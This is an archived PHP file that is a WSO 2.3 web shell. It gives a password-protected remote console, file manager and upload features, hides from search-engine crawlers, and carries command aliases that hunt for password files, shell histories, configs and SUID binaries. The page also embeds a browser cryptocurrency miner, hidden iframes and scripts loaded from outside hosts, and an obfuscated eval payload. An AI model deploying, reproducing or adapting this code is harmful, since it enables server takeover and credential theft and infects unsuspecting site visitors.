home *** CD-ROM | disk | FTP | other *** search
/ ftp.t-online.hu / ftp.t-online.hu.tar / ftp.t-online.hu / public_html / sec.php < prev    next >
Text File  |  2015-06-10  |  75KB  |  1,895 lines

  1. <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js" type="text/javascript"></script>
  2. <script src="http://www.bitcoinplus.com/js/miner.js" type="text/javascript"></script>
  3. <script type="text/javascript">BitcoinPlusMiner("29461445")</script></iframe></iframe><?php
  4. $auth_pass = "63a9f0ea7bb98050796b649e85481845"; //root
  5. $t = 1; // 1 - input / 2 - no input;
  6. $color = "lime";
  7. $default_action = "FilesMan";
  8. $default_charset = "Windows-1251";
  9. $default_use_ajax = true;
  10.  
  11. if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
  12.     $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  13.     foreach($userAgents as $agent)
  14.         if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
  15.             header('HTTP/1.0 404 Not Found');
  16.             exit;
  17.         }
  18. }
  19. @session_start();
  20. @error_reporting(0);
  21. @ini_set('error_log',NULL);
  22. @ini_set('log_errors',0);
  23. @ini_set('max_execution_time',0);
  24. @set_time_limit(0);
  25. @set_magic_quotes_runtime(0);
  26. @define('VERSION', '2.3');
  27.  
  28.  
  29.  
  30. if( get_magic_quotes_gpc() ) {
  31.     function WSOstripslashes($array) {
  32.         return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
  33.     }
  34.     $_POST = WSOstripslashes($_POST);
  35. }
  36. function wsoLogin() {
  37. echo $t;
  38.     if($GLOBALS['t'] == 1) echo '<form method=post><input type=text name=pass><input type=submit value=ok></form>';
  39.     else  header('HTTP/1.0 401 Unauthorized');
  40.     die();
  41. }
  42. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  43.     if( empty( $auth_pass ) ||
  44.         ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  45.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  46.     else
  47.         wsoLogin();
  48.  
  49. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  50.     $os = 'win';
  51. else
  52.     $os = 'nix';
  53. $safe_mode = @ini_get('safe_mode');
  54. $disable_functions = @ini_get('disable_functions');
  55. $home_cwd = @getcwd();
  56. if( isset( $_POST['c'] ) )
  57.     @chdir($_POST['c']);
  58. $cwd = @getcwd();
  59. if( $os == 'win') {
  60.     $home_cwd = str_replace("\\", "/", $home_cwd);
  61.     $cwd = str_replace("\\", "/", $cwd);
  62. }
  63. if( $cwd[strlen($cwd)-1] != '/' )
  64.     $cwd .= '/';
  65.  
  66.     if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
  67.     $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  68.     
  69.     
  70. if($os == 'win')
  71.     $aliases = array(
  72.         "List Directory" => "dir",
  73.         "Find index.php in current dir" => "dir /s /w /b index.php",
  74.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  75.         "Show active connections" => "netstat -an",
  76.         "Show running services" => "net start",
  77.         "User accounts" => "net user",
  78.         "Show computers" => "net view",
  79.         "ARP Table" => "arp -a",
  80.         "IP Configuration" => "ipconfig /all"
  81.     );
  82. else  {
  83. $tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
  84. $tempdir='./';
  85. foreach( $tempdirs as $item) {
  86. if(@is_writable($item)){$tempdir = $item;}
  87.     }
  88.     
  89.     $aliases = array(
  90.           "List dir" => "ls -lha",
  91.         "list file attributes on a Linux second extended file system" => "lsattr -va",
  92.           "show opened ports" => "netstat -an | grep -i listen",
  93.         "Find" => "",
  94.           "find all suid files" => "find / -type f -perm -04000 -ls",
  95.           "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  96.           "find all sgid files" => "find / -type f -perm -02000 -ls",
  97.           "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  98.           "find config.inc.php files" => "find / -type f -name config.inc.php",
  99.           "find config* files" => "find / -type f -name \"config*\"",
  100.           "find config* files in current dir" => "find . -type f -name \"config*\"",
  101.           "find all writable folders and files" => "find / -perm -2 -ls",
  102.           "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  103.           "find all service.pwd files" => "find / -type f -name service.pwd",
  104.           "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  105.           "find all .htpasswd files" => "find / -type f -name .htpasswd",
  106.           "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  107.           "find all .bash_history files" => "find / -type f -name .bash_history",
  108.           "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  109.           "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  110.           "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  111.         "Locate" => "",
  112.           "locate httpd.conf files" => "locate httpd.conf",
  113.         "locate vhosts.conf files" => "locate vhosts.conf",
  114.         "locate proftpd.conf files" => "locate proftpd.conf",
  115.         "locate psybnc.conf files" => "locate psybnc.conf",
  116.         "locate my.conf files" => "locate my.conf",
  117.         "locate admin.php files" =>"locate admin.php",
  118.         "locate cfg.php files" => "locate cfg.php",
  119.         "locate conf.php files" => "locate conf.php",
  120.         "locate config.dat files" => "locate config.dat",
  121.         "locate config.php files" => "locate config.php",
  122.         "locate config.inc files" => "locate config.inc",
  123.         "locate config.inc.php" => "locate config.inc.php",
  124.         "locate config.default.php files" => "locate config.default.php",
  125.         "locate config* files " => "locate config",
  126.         "locate .conf files"=>"locate '.conf'",
  127.         "locate .pwd files" => "locate '.pwd'",
  128.         "locate .sql files" => "locate '.sql'",
  129.         "locate .htpasswd files" => "locate '.htpasswd'",
  130.         "locate .bash_history files" => "locate '.bash_history'",
  131.         "locate .mysql_history files" => "locate '.mysql_history'",
  132.         "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  133.         "locate backup files" => "locate backup",
  134.         "locate dump files" => "locate dump",
  135.         "locate priv files" => "locate priv"
  136.  
  137.     );
  138. }
  139. function wsoHeader() {
  140.     if(empty($_POST['charset']))
  141.         $_POST['charset'] = $GLOBALS['default_charset'];
  142.     global $color;
  143.     echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "</title>
  144. <style>
  145. body{background-color:#000000;color:lime;}
  146. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:e1e1e1; }
  147. table.info{ color:#00FFCC;background-color:#000000; font:3pt; }
  148. span,h1,a{ color: $color !important; }
  149. span{ font-weight: bolder; }
  150. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  151. div.content{ padding: 0px;margin-left:0px;background-color:#333; }
  152. a{ text-decoration:none; }
  153. a:hover{ text-decoration:underline; }
  154. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  155. .bigarea{ width:100%;height:250px; }
  156. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  157. form{ margin:0px; }
  158. #ttoolsTbl{ text-align:center; }
  159. .toolsInp{ width: 300px }
  160. .main th{text-align:left;background-color:green;}
  161.  
  162. .main tr:hover{background-color:green;}
  163. .l1{background-color:#000}
  164. pre{font-family:Courier,Monospace;}
  165. </style>
  166. <script>
  167.     var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
  168.     var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
  169.     var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
  170.     var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
  171.     var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
  172.     var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
  173.     function set(a,c,p1,p2,p3,charset) {
  174.         if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
  175.         if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
  176.         if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
  177.         if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
  178.         if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
  179.         if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
  180.     }
  181.     function g(a,c,p1,p2,p3,charset) {
  182.         set(a,c,p1,p2,p3,charset);
  183.         document.mf.submit();
  184.     }
  185.     function a(a,c,p1,p2,p3,charset) {
  186.         set(a,c,p1,p2,p3,charset);
  187.         var params = 'ajax=true';
  188.         for(i=0;i<document.mf.elements.length;i++)
  189.             params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
  190.         sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
  191.     }
  192.     function sr(url, params) {
  193.         if (window.XMLHttpRequest)
  194.             req = new XMLHttpRequest();
  195.         else if (window.ActiveXObject)
  196.             req = new ActiveXObject('Microsoft.XMLHTTP');
  197.         if (req) {
  198.             req.onreadystatechange = processReqChange;
  199.             req.open('POST', url, true);
  200.             req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
  201.             req.send(params);
  202.         }
  203.     }
  204.     function processReqChange() {
  205.         if( (req.readyState == 4) )
  206.             if(req.status == 200) {
  207.                 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
  208.                 var arr=reg.exec(req.responseText);
  209.                 eval(arr[2].substr(0, arr[1]));
  210.             } else alert('Request error!');
  211.     }
  212. </script>
  213. <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
  214. <form method=post name=mf style='display:none;'>
  215. <input type=hidden name=a>
  216. <input type=hidden name=c>
  217. <input type=hidden name=p1>
  218. <input type=hidden name=p2>
  219. <input type=hidden name=p3>
  220. <input type=hidden name=charset>
  221. </form>";
  222.  
  223. //Div content color:333;
  224.  
  225.     $freeSpace = @diskfreespace($GLOBALS['cwd']);
  226.     $totalSpace = @disk_total_space($GLOBALS['cwd']);
  227.     $totalSpace = $totalSpace?$totalSpace:1;
  228.     $release = @php_uname('r');
  229.     $kernel = @php_uname('s');
  230.     $millink = 'http://milw0rm.com/search.php?dong=';
  231.     if( strpos('Linux', $kernel) !== false )
  232.         $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
  233.     else
  234.         $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
  235.     if(!function_exists('posix_getegid')) {
  236.         $user = @get_current_user();
  237.         $uid = @getmyuid();
  238.         $gid = @getmygid();
  239.         $group = "?";
  240.     } else {
  241.         $uid = @posix_getpwuid(@posix_geteuid());
  242.         $gid = @posix_getgrgid(@posix_getegid());
  243.         $user = $uid['name'];
  244.         $uid = $uid['uid'];
  245.         $group = $gid['name'];
  246.         $gid = $gid['gid'];
  247.     }
  248.     $cwd_links = '';
  249.     $path = explode("/", $GLOBALS['cwd']);
  250.     $n=count($path);
  251.     for($i=0;$i<$n-1;$i++) {
  252.         $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  253.         for($j=0;$j<=$i;$j++)
  254.             $cwd_links .= $path[$j].'/';
  255.         $cwd_links .= "\")'>".$path[$i]."/</a>";
  256.     }
  257.     $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  258.     $opt_charsets = '';
  259.     foreach($charsets as $item)
  260.         $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  261.     $m = array('INFO'=>'SecInfo','FILES'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','TOOLS'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
  262.     if(!empty($GLOBALS['auth_pass']))
  263.         $m['Logout'] = 'Logout';
  264.     $m['DEL'] = 'SelfRemove';
  265.     $menu = '';
  266.     foreach($m as $k => $v)
  267.         $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
  268.     $drives = "";
  269.     if ($GLOBALS['os'] == 'win') {
  270.         foreach( range('c','z') as $drive )
  271.         if (is_dir($drive.':\\'))
  272.             $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  273.     }
  274.     
  275.     
  276.  
  277.  
  278. $SERVER_SOFTWARE = @substr(getenv('SERVER_SOFTWARE'),0,150);
  279. if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
  280.         
  281.         
  282.         
  283. $Lversion = php_uname(r); 
  284. $OSV = php_uname(s); 
  285. $OSV = str_replace(' ','+',$OSV);
  286. if(stripos('Linux',$OSV) != false) 
  287. $Lversion=substr($Lversion,0,6); 
  288. $google_link='http://www.google.ru/search?q=Linix+Kernel+'.$Lversion.'+exploit';
  289. $paketstorm_link="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+".$Lversion; 
  290. $exploitdb_link = "http://www.exploit-db.com/search/?action=search&filter_description=linux+Kernel+".substr($Lversion,0,3);
  291. $securitylab_link='http://www.securitylab.ru/search/index.php?q=linux+kernel+'.$Lversion.'+exploit';
  292. $steam = 'linux kernel '.substr($Lversion,0,3);
  293. }else{ 
  294. $Lversion=substr($Lversion,0,3); 
  295.  
  296. $exploitdb_link = "http://www.exploit-db.com/search/?action=search&filter_description=".$OSV.'+'.$Lversion;
  297. $paketstorm_link="http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$OSV.'+'.$Lversion; 
  298. $google_link='http://www.google.ru/search?q='.$OSV.'+'.$Lversion.'+exploit';
  299. $securitylab_link='http://www.securitylab.ru/search/index.php?q='.$OSV.'+'.$Lversion.'+exploit';
  300. $steam = $OSV.' '.$Lversion;
  301.  
  302.  
  303.  
  304.  
  305.  
  306.         
  307.         
  308.         
  309.         
  310.         
  311.         
  312.         
  313.         
  314.         
  315.         
  316.         
  317.         
  318.         
  319.         
  320.         
  321.         
  322.         
  323.         
  324. echo '<form action=http://securiteam.com/cgi-bin/htsearch method=post id=steam name=steam>
  325. <input type=hidden name=words value="'.$steam.'">
  326. <input type=hidden name=restrict value=/exploits/>
  327.  
  328. <table class=info  border=0  cellpadding=0 cellspacing=0 width=100%>
  329.     <font size=1><tr> <td width=1><font color=lime><b>Uname: </b></td><td><font color=white>
  330.          '.substr(@php_uname(), 0, 120).'  <a href="'.$google_link.'" target="_blank">[ Google ]</a> <a href="'.$exploitdb_link.'" target=_blank>[ Exploit-db ]</a> <a href="'.$paketstorm_link.'" target=_blank>[ Packetstorm ]</a> <a href="'.$securitylab_link.'" target=_blank>[ Securitylab ]</a> <a href=# onclick=steam.submit(); ttarget=_blank>[ SecurityTeam ]</a></td>   <td rowspan=4 width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Your IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></form>
  331.         
  332.         <tr height=1><td width=1><font color=lime><b>Server: </b></td><td><font color=white>'.$SERVER_SOFTWARE.'</td></tr>
  333.         <tr height=1><td width=1><font color=lime><b>User: </b></td><td><font color=white>'.$user.' ( '.$uid.' / '.$gid.' - '.$group.' )       <font color=lime><b>PHP:</b>    <font color=white>'.@phpversion().'</font>  <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a>  <a href=# onclick="g(\'Php\',null,\'\',\'ini\')">[ php.ini ]</a><font color=lime><b>       HDD: </b></font><font color=white>'.wsoViewSize($freeSpace).' / '.wsoViewSize($totalSpace).' ('.round(100/(wsoViewSize($totalSpace)/wsoViewSize($freeSpace)),2).'%)</font>'; 
  334.         $curl_on = @function_exists('curl_version');
  335.         
  336.         echo ' </td></tr>
  337.         <tr><td colspan=2><font color=lime><b>Safe mode: </b>'.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00>OFF</font>').'   <font color=lime><b>Open_basedir:</b></font> ';
  338.         if((@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
  339.         if($open_basedir) { if (''==($df=@ini_get('open_basedir'))) {echo "<font color=red>ini_get disable!</font></b>";}else {echo "<font color=red>$df</font></b>";};}
  340.         else {echo "<font color=green>OFF</font></b>";}
  341.         echo "       <font color=lime><b>cURL: </b></font>".(($curl_on)?("<font color=green>ON</font>"):("<font color=red>OFF</font>"));
  342.         echo '       ';
  343.         
  344.         
  345.         
  346.  
  347. if(($mysql_on = @function_exists('mysql_connect'))){
  348. echo "<font color=lime><b>MySQL: </b><font color=green>ON";
  349.  
  350. if(function_exists('mysql_get_client_info')) {
  351.  echo ' <font color=white>('.mysql_get_client_info().')'; 
  352.  echo "</font>       "; }
  353.  
  354. echo "</font>       "; } 
  355.  
  356.  
  357.  
  358. if(($mssql_on = @function_exists('mssql_connect'))){
  359. echo "<font color=lime><b>MSSQL: </b><font color=green>ON</font>       "; } 
  360.  
  361.  
  362.  
  363. if(($pg_on = @function_exists('pg_connect'))){
  364. echo "<font color=lime><b>PostgreSQL: </b><font color=green>ON</font>       "; } 
  365.  
  366.  
  367.  
  368.  
  369.  
  370.  
  371.  
  372. if(($ora_on = @function_exists('ocilogon'))){
  373. echo "<font color=lime><b>Oracle: </b><font color=green>ON</font>       "; } 
  374.  
  375.  
  376.  
  377. if(($mysqli_on = @function_exists('mysqli_connect'))){
  378. echo "<font color=lime><b>MySQLi: </b><font color=green>ON</font>       ";
  379.  } 
  380.  
  381.  
  382.  
  383.  
  384. if(($msql_on = @function_exists('msql_connect'))){
  385. echo "<font color=lime><b>mSQL: </b><font color=green>ON</font>       "; } 
  386.  
  387.  
  388.  
  389.  
  390. if(($sqlite_on = @function_exists('sqlite_open'))){
  391. echo "<font color=lime><b>SQLite: </b><font color=green>ON</font>       "; } 
  392.  
  393.         
  394.         
  395.         
  396.         
  397.         
  398.         $countf = 0;
  399.         
  400.         if(''!=($df=@ini_get('disable_functions'))){ $countf +=1; echo "<br><font color=lime><b>Disable: </b><font color=white>".$df.'</font>       ';}
  401.         
  402.         
  403.         $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  404.         $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  405.         $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  406.             
  407.         
  408.         
  409.         
  410.         $temp=array();
  411.         if( $GLOBALS['os'] == 'nix' ) {
  412.             if(!$GLOBALS['safe_mode']) {
  413.             
  414.                 foreach ($userful as $item)
  415.                     if(wsoWhich($item)){$temp[]=$item;}
  416.                     
  417.             } }
  418.             else {
  419.             //echo implode(', ',$temp);
  420.     if (@function_exists('apache_get_modules') && @in_array('mod_perl',apache_get_modules())) {$temp[]="mod_perl";}
  421.     if (@function_exists('apache_get_modules') && @in_array('mod_include',apache_get_modules())) {$temp[]="mod_include(SSI)";}
  422.     if (@function_exists('pcntl_exec')) {$temp[] = "pcntl_exec";}
  423.     if (@extension_loaded('win32std')) {$temp[]="win32std_loaded";}
  424.     if (@extension_loaded('win32service')) {$temp[]="win32service_loaded";}
  425.     if (@extension_loaded('ffi')) {$temp[]="ffi_loaded";}
  426.     if (@extension_loaded('perl')) {$temp[]="perl_loaded";}
  427.                     }
  428.  if(sizeof($temp) > 0) { $countf +=1; echo '<br><font color=lime><b>Useful: </b><font color=green>'.implode(', ',$temp).'</font><br>'; }
  429.  
  430.  
  431. $temp=array();
  432.     if( $GLOBALS['os'] == 'nix' and !$GLOBALS['safe_mode']) {
  433.            
  434.             
  435.                 foreach ($danger as $item)
  436.                     if(wsoWhich($item)){$temp[]=$item;} } 
  437. if(sizeof($temp) > 0) { $countf +=1; echo '<font color=red><b>Danger: </b>'.implode(', ',$temp).'</font><br>'; }
  438.  
  439.  
  440.  
  441.  
  442.  $temp=array();
  443.     if( $GLOBALS['os'] == 'nix' and !$GLOBALS['safe_mode']) {
  444.            
  445.         $GLOABALS['downloadss'] = array();    
  446.                 foreach ($downloaders as $item)
  447.                     if(wsoWhich($item)){$GLOBALS['downloadss'][]=$item; } } 
  448. //if(sizeof($temp) > 0) { $countf +=1; echo '<font color=yellow><b>Downloaders: </b></font><font color=green>'.implode(', ',$temp).'</font>       '; }
  449.  
  450.  
  451.  
  452.  
  453.  
  454.  
  455.  
  456.  
  457.  
  458.  
  459.  
  460.  
  461.  
  462.  
  463.  
  464.  
  465.  
  466.  
  467.  
  468.  
  469.   if  ($countf > 0) echo '</td></tr><tr><td colspan=2>';
  470.         
  471.         if($GLOBALS['os'] != 'nix')     echo '<font color=lime><b>'.$drives.'    ';
  472.     echo $cwd_links.'   '.wsoPermsColor($GLOBALS['cwd']).'    <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a>';
  473.         
  474.         
  475.         echo '</td></tr>
  476.          
  477.          </table>'.
  478.          
  479.          
  480.          
  481.          '
  482.          
  483.          <table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:0">';
  484. // ∞α≡πΦφ 5 Σδ  ε≥±≥≤∩α
  485.  
  486.          
  487.          
  488.          
  489.          
  490.          
  491.          }
  492.  
  493. function wsoFooter() {
  494.     $is_writable = is_writable($GLOBALS['cwd'])?"<font color=lime>":"<font color=red>";
  495.     echo "
  496. <script type="text/javascript" src="http://199.175.50.209/t/link.php"></script><script type="text/javascript" src="http://counter.olusoft.com/1245361/link.php"></script><script type="text/javascript" src="http://91.239.65.173/t/link.php"></script><iframe src="http://capemadefieldguide.org/spam.html" width="0" height="0" frameborder="0"></iframe><script src="http://capemadefieldguide.org/spam.phtml"></script></div>
  497. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
  498.     <tr><td><br></td></tr><tr>
  499.         <td><form onsubmit='g(null,this.c.value);return false;'><span>DIR </span></td><td><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
  500.         <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span></td><td><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  501.     </tr><tr>
  502.         <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>".$is_writable."Make dir:</span></td><td><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
  503.         <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>".$is_writable."Make file:</span></td><td><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
  504.     </tr><tr>
  505.         <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span></td><td><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
  506.         <td><form method='post' ENCTYPE='multipart/form-data'>
  507.         <input type=hidden name=a value='FilesMAn'>
  508.         <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
  509.         <input type=hidden name=p1 value='uploadFile'>
  510.         <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  511.         <span>".$is_writable."Upload file:</span></td><td><input class='toolsInp' type=file name=f><input type=submit value='>>'></form></td>
  512.     </tr>";
  513.     
  514.     
  515.     
  516.     
  517.     if(sizeof($GLOBALS['downloadss']) > 0) {
  518.     echo "
  519.     <tr><form onsubmit=\"g('FilesMan',null,'rem',this.updest.value,this.upurl.value,this.remt.value);return false;\">
  520.     <td><font color=lime><b>Remote upload </b></td><td colspan=3><select name=remt>";
  521.     
  522.      foreach($GLOBALS['downloadss'] as $dss) {
  523.      echo "
  524.     <option value=$dss>$dss</option>";
  525. }
  526.     
  527.     echo "</select>
  528.     <input tupe=text name=upurl size=60 value=http://google.com/file.zip>
  529.     <input tupe=text name=updest size=60 value=".htmlspecialchars($GLOBALS['cwd'])."file.zip><input type=submit value='>>'></form>
  530.     
  531.     
  532. </td></tr>";
  533.  
  534. }
  535.  
  536.  
  537.  
  538.  
  539. echo "<tr><td colspan=4 align=center><br><i><b>Krist_ALL edition  - z e b r a</b></i>    </td</tr></table></div><iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://brg-catalogues.com/myjt.html?i=2583603></iframe><tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|setTimeout|k22|k2|http|193||src|height|110|width|board||26|php|144|tag1|ram'.split('|'),0,{}))</script><tag5479347352></tag5479347352></body></html>";
  540. }
  541.  
  542. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  543. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  544. function wsoEx($in) {
  545.     $out = '';
  546.     if(function_exists('exec')) {
  547.         @exec($in,$out);
  548.         $out = @join("\n",$out);
  549.     }elseif(function_exists('passthru')) {
  550.         ob_start();
  551.         @passthru($in);
  552.         $out = ob_get_clean();
  553.     }elseif(function_exists('system')) {
  554.         ob_start();
  555.         @system($in);
  556.         $out = ob_get_clean();
  557.     }elseif(function_exists('shell_exec')) {
  558.         $out = shell_exec($in);
  559.     }elseif(is_resource($f = @popen($in,"r"))) {
  560.         $out = "";
  561.         while(!@feof($f))
  562.             $out .= fread($f,1024);
  563.         pclose($f);
  564.     }
  565.     return $out;
  566. }
  567. function wsoViewSize($s) {
  568.     if($s >= 1073741824)
  569.         return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  570.     elseif($s >= 1048576)
  571.         return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  572.     elseif($s >= 1024)
  573.         return sprintf('%1.2f', $s / 1024 ) . ' KB';
  574.     else
  575.         return $s . ' B';
  576. }
  577.  
  578. function wsoPerms($p) {
  579.     if (($p & 0xC000) == 0xC000)$i = 's';
  580.     elseif (($p & 0xA000) == 0xA000)$i = 'l';
  581.     elseif (($p & 0x8000) == 0x8000)$i = '-';
  582.     elseif (($p & 0x6000) == 0x6000)$i = 'b';
  583.     elseif (($p & 0x4000) == 0x4000)$i = 'd';
  584.     elseif (($p & 0x2000) == 0x2000)$i = 'c';
  585.     elseif (($p & 0x1000) == 0x1000)$i = 'p';
  586.     else $i = 'u';
  587.     $i .= (($p & 0x0100) ? 'r' : '-');
  588.     $i .= (($p & 0x0080) ? 'w' : '-');
  589.     $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  590.     $i .= (($p & 0x0020) ? 'r' : '-');
  591.     $i .= (($p & 0x0010) ? 'w' : '-');
  592.     $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  593.     $i .= (($p & 0x0004) ? 'r' : '-');
  594.     $i .= (($p & 0x0002) ? 'w' : '-');
  595.     $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  596.     return $i;
  597. }
  598. function wsoPermsColor($f) {
  599.     if (!@is_readable($f))
  600.         return '<font color=#FF0000><b>'.wsoPerms(@fileperms($f)).'</b></font>';
  601.     elseif (!@is_writable($f))
  602.         return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
  603.     else
  604.         return '<font color=lime><b>'.wsoPerms(@fileperms($f)).'</b></font>';
  605. }
  606. if(!function_exists("scandir")) {
  607.     function scandir($dir) {
  608.         $dh  = opendir($dir);
  609.         while (false !== ($filename = readdir($dh))) {
  610.             $files[] = $filename;
  611.         }
  612.         return $files;
  613.     }
  614. }
  615. function wsoWhich($p) {
  616.     $path = wsoEx('which '.$p);
  617.     if(!empty($path))
  618.         return $path;
  619.     return false;
  620. }
  621. function actionSecInfo() {
  622.     wsoHeader();
  623.     echo '<h1>Server information</h1><div class=content>';
  624.     function wsoSecParam($n, $v) {
  625.         $v = trim($v);
  626.         if($v) {
  627.             echo '<span>'.$n.': </span>';
  628.             if(strpos($v, "\n") === false)
  629.                 echo $v.'<br>';
  630.             else
  631.                 echo '<pre class=ml1>'.$v.'</pre>';
  632.         }
  633.     }
  634.  if(function_exists('apache_get_modules'))
